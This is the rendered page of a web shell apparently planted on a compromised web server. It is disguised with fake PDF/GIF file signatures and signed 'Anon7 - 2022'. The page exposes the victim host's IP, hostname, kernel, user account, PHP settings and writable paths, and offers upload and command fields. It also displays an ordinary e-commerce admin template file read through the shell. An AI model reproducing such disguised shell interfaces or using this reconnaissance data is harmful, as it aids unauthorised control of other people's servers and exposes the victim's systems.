%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.162
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/www/application/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/www/application/views/admin//organize_category.php
<?php include('header.php'); ?>

<script type="text/javascript">
//<![CDATA[
$(document).ready(function(){
	create_sortable();
});

// Return a helper with preserved width of cells
var fixHelper = function(e, ui) {
	ui.children().each(function() {
		$(this).width($(this).width());
	});
	return ui;
};

function areyousure()
{
	return confirm('<?php echo lang('confirm_delete_product');?>');
}

function create_sortable()
{
	$('#category_contents').sortable({
		scroll: true,
		helper: fixHelper,
		axis: 'y',
		update: function(){
			save_sortable();
		}
	});	
	$('#category_contents').sortable('enable');
}

function save_sortable()
{
	serial=$('#category_contents').sortable('serialize');
			
	$.ajax({
		url:'<?php echo site_url($this->config->item('admin_folder').'/categories/process_organization/'.$category->id);?>',
		type:'POST',
		data:serial
	});
}
//]]>
</script>

<p><?php echo lang('drag_and_drop');?></p>

<table class="gc_table" cellspacing="0" cellpadding="0">
	<thead>
		<tr>
			<th class="gc_cell_left" style="width:60px;"><?php echo lang('sku');?></th>
			<th><?php echo lang('name');?></th>
			<th style="width:60px;"><?php echo lang('price');?></th>
			<th class="gc_cell_right" style="width:60px;"><?php echo lang('sale');?></th>
            <th class="gc_cell_right"></th>
		</tr>
	</thead>
	<tbody id="category_contents">
<?php foreach ($category_products as $product):?>
		<tr id="product-<?php echo $product->id;?>" class="gc_row">
			<td class="gc_cell_left"><?php echo $product->sku;?></td>
			<td><?php echo $product->name;?></td>
			<td><?php echo $product->price;?></td>
			<td class="gc_cell_right"><?php echo $product->saleprice;?></td>
            	<td class="gc_cell_right list_buttons">
					<a href="<?php echo  site_url($this->config->item('admin_folder').'/products/delete/'.$product->id);?>" onclick="return areyousure();"><?php echo lang('delete');?></a>
					<a href="<?php echo  site_url($this->config->item('admin_folder').'/products/form/'.$product->id);?>"><?php echo lang('edit');?></a>
                    <a href="<?php echo  site_url($this->config->item('admin_folder').'/color/views/'.$product->id);?>"><?php echo 'Colors View';//lang('edit');?></a>
					
				</td>
		</tr>
<?php endforeach; ?>
	</tbody>
</table>

<?php include('footer.php');

Anon7 - 2022
SCDN GOK